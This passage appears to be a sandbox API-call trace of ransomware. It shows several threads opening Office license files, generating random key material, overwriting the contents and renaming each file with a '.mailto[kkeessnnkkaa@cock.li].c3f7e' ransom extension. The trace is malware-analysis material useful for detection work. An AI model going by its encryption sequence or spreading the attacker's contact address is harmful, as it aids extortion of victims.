	[0087.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb420) returned 1
	[0087.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d30) returned 1
	[0087.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47da8) returned 1
	[0087.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0087.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768c80
	[0087.319] wcscpy (in: _Dest=0x4768c80, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms"
	[0087.319] wcscat (in: _Dest=0x4768c80, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.319] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a3bf8f4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x477a460
	[0087.319] NtSetInformationFile (FileHandle=0x1944, IoStatusBlock=0x2a3bf8ec, FileInformation=0x477a460, Length=0xf2, FileInformationClass=0xa) returned 0x0
	[0087.320] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0087.320] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eaad8) returned 1
	[0087.320] NtQueryInformationFile (in: FileHandle=0x1944, IoStatusBlock=0x2a3bf900, FileInformation=0x2a3bf8d8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a3bf900, FileInformation=0x2a3bf8d8) returned 0x0
	[0087.320] NtSetInformationFile (FileHandle=0x1944, IoStatusBlock=0x2a3bf900, FileInformation=0x2a3bf8d8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768c80) returned 1
	[0087.321] FlushFileBuffers (hFile=0x1944) returned 1
	[0093.125] CloseHandle (hObject=0x1944) 

Thread:
	id = 1211
	os_tid = 0x1f60

	[0086.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220
	[0086.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1948
	[0086.711] GetFileSizeEx (in: hFile=0x1948, lpFileSize=0x2a43fc20 | out: lpFileSize=0x2a43fc20*=11574) returned 1
	[0086.711] SetFilePointerEx (in: hFile=0x1948, liDistanceToMove=0x2d32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.711] ReadFile (in: hFile=0x1948, lpBuffer=0x2a43fba4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a43fba0, lpOverlapped=0x0 | out: lpBuffer=0x2a43fba4*, lpNumberOfBytesRead=0x2a43fba0*=0x4, lpOverlapped=0x0) returned 1
	[0086.715] SetFilePointerEx (in: hFile=0x1948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0086.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0086.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0086.715] NtQuerySystemTime (in: CurrentTime=0x2a43fb80 | out: CurrentTime=0x2a43fb80*=132251868134444858) returned 0x0
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0xabf13e29
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x2683d47e
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0xfcc3eaec
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x3d97eb3f
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x9c36023e
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x82fcb19e
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x89566a14
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0xe0f23595
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x8286cb94
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x4fc696a8
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x924d1cd6
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x7bf9e1f9
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0xaff8707d
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x28750a68
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x5378eb27
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x8afed86d
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x91a38de3
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x40678b1
	[0086.715] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0xfa08c3fc
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x2f47477f
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x1f16960f
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x951c3c88
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0xa7e13f52
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x1d2a2423
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x29cc52d8
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x218ab5b5
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0xc7a5aeea
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x2c0fe302
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x88504ca4
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x521ad00a
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x34dabffd
	[0086.716] RtlRandom (in: Seed=0x2a43fb8c | out: Seed=0x2a43fb8c) returned 0x783db5b9
	[0086.722] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0086.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.724] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.724] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e70) returned 1
	[0086.724] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0086.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb5d0
	[0086.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0086.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0086.724] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0086.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851030
	[0086.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x485d838
	[0086.726] ReadFile (in: hFile=0x1948, lpBuffer=0x4851030, nNumberOfBytesToRead=0x2d36, lpNumberOfBytesRead=0x2a43fb7c, lpOverlapped=0x0 | out: lpBuffer=0x4851030*, lpNumberOfBytesRead=0x2a43fb7c*=0x2d36, lpOverlapped=0x0) returned 1
	[0086.764] SetFilePointerEx (in: hFile=0x1948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.764] WriteFile (in: hFile=0x1948, lpBuffer=0x485d838*, nNumberOfBytesToWrite=0x2d36, lpNumberOfBytesWritten=0x2a43fb78, lpOverlapped=0x0 | out: lpBuffer=0x485d838*, lpNumberOfBytesWritten=0x2a43fb78*=0x2d36, lpOverlapped=0x0) returned 1
	[0086.769] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.769] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x485d838) returned 1
	[0086.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851030) returned 1
	[0086.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0086.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb5d0) returned 1
	[0086.769] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4775610
	[0086.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb5d0
	[0086.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753db8
	[0086.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4775340
	[0086.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753db8) returned 1
	[0086.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb5d0) returned 1
	[0086.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x127) returned 0x498eaf0
	[0086.770] SetFilePointerEx (in: hFile=0x1948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.770] WriteFile (in: hFile=0x1948, lpBuffer=0x498eaf0*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x2a43fbe0, lpOverlapped=0x0 | out: lpBuffer=0x498eaf0*, lpNumberOfBytesWritten=0x2a43fbe0*=0x127, lpOverlapped=0x0) returned 1
	[0086.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498eaf0) returned 1
	[0086.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775340) returned 1
	[0086.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775610) returned 1
	[0086.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0086.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0086.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.773] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ebe88
	[0086.773] wcscpy (in: _Dest=0x47ebe88, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms"
	[0086.773] wcscat (in: _Dest=0x47ebe88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.773] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a43fb98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.773] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x477a460
	[0086.773] NtSetInformationFile (FileHandle=0x1948, IoStatusBlock=0x2a43fb90, FileInformation=0x477a460, Length=0xf8, FileInformationClass=0xa) returned 0x0
	[0086.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0086.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752070) returned 1
	[0086.774] NtQueryInformationFile (in: FileHandle=0x1948, IoStatusBlock=0x2a43fba4, FileInformation=0x2a43fb7c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a43fba4, FileInformation=0x2a43fb7c) returned 0x0
	[0086.774] NtSetInformationFile (FileHandle=0x1948, IoStatusBlock=0x2a43fba4, FileInformation=0x2a43fb7c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.775] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebe88) returned 1
	[0086.775] FlushFileBuffers (hFile=0x1948) returned 1
	[0093.103] CloseHandle (hObject=0x1948) 

Thread:
	id = 1212
	os_tid = 0x1f64

	[0086.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220
	[0086.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x194c
	[0086.714] GetFileSizeEx (in: hFile=0x194c, lpFileSize=0x2a4bfaf4 | out: lpFileSize=0x2a4bfaf4*=19919) returned 1
	[0086.714] SetFilePointerEx (in: hFile=0x194c, liDistanceToMove=0x4dcb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.714] ReadFile (in: hFile=0x194c, lpBuffer=0x2a4bfa78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a4bfa74, lpOverlapped=0x0 | out: lpBuffer=0x2a4bfa78*, lpNumberOfBytesRead=0x2a4bfa74*=0x4, lpOverlapped=0x0) returned 1
	[0086.752] SetFilePointerEx (in: hFile=0x194c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0086.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.752] NtQuerySystemTime (in: CurrentTime=0x2a4bfa54 | out: CurrentTime=0x2a4bfa54*=132251868134913594) returned 0x0
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x24831df2
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xcda1ddd3
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xfc0d2bf9
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x26bd7316
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x5f7e80e9
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xe2bd9246
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xf200e799
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xd605c0e4
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x5cdf9651
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xb780cd3e
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xbe9764f7
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xcfd1958f
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xb928c615
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x6d8c8532
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xe8734fe
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xfe154af2
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x48a31bd1
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x85f833da
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x99d842fb
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x6cc4d95f
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x7cd6cbfe
	[0086.752] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xf2ad3d3d
	[0086.753] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xe97cc22b
	[0086.753] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x79aad803
	[0086.753] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xaca0062f
	[0086.753] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xba98d2a6
	[0086.753] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x9d9adfd2
	[0086.753] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xde65bad9
	[0086.753] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xe395fbf7
	[0086.753] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xabf53c40
	[0086.753] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0xb5850861
	[0086.753] RtlRandom (in: Seed=0x2a4bfa60 | out: Seed=0x2a4bfa60) returned 0x4964022e
	[0086.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0086.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ec0
	[0086.761] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.761] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.761] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb0c0
	[0086.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0086.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.761] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4952820
	[0086.762] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x495f028
	[0086.763] ReadFile (in: hFile=0x194c, lpBuffer=0x4952820, nNumberOfBytesToRead=0x4dcf, lpNumberOfBytesRead=0x2a4bfa50, lpOverlapped=0x0 | out: lpBuffer=0x4952820*, lpNumberOfBytesRead=0x2a4bfa50*=0x4dcf, lpOverlapped=0x0) returned 1
	[0086.768] SetFilePointerEx (in: hFile=0x194c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.768] WriteFile (in: hFile=0x194c, lpBuffer=0x495f028*, nNumberOfBytesToWrite=0x4dcf, lpNumberOfBytesWritten=0x2a4bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x495f028*, lpNumberOfBytesWritten=0x2a4bfa4c*=0x4dcf, lpOverlapped=0x0) returned 1
	[0087.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x495f028) returned 1
	[0087.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4952820) returned 1
	[0087.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0087.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0087.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4776010
	[0087.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0087.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4775e30
	[0087.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x127) returned 0x2e02570
	[0087.326] SetFilePointerEx (in: hFile=0x194c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.326] WriteFile (in: hFile=0x194c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x2a4bfab4, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2a4bfab4*=0x127, lpOverlapped=0x0) returned 1
	[0087.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775e30) returned 1
	[0087.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0087.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e70) returned 1
	[0087.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0087.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ec0) returned 1
	[0087.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ec428
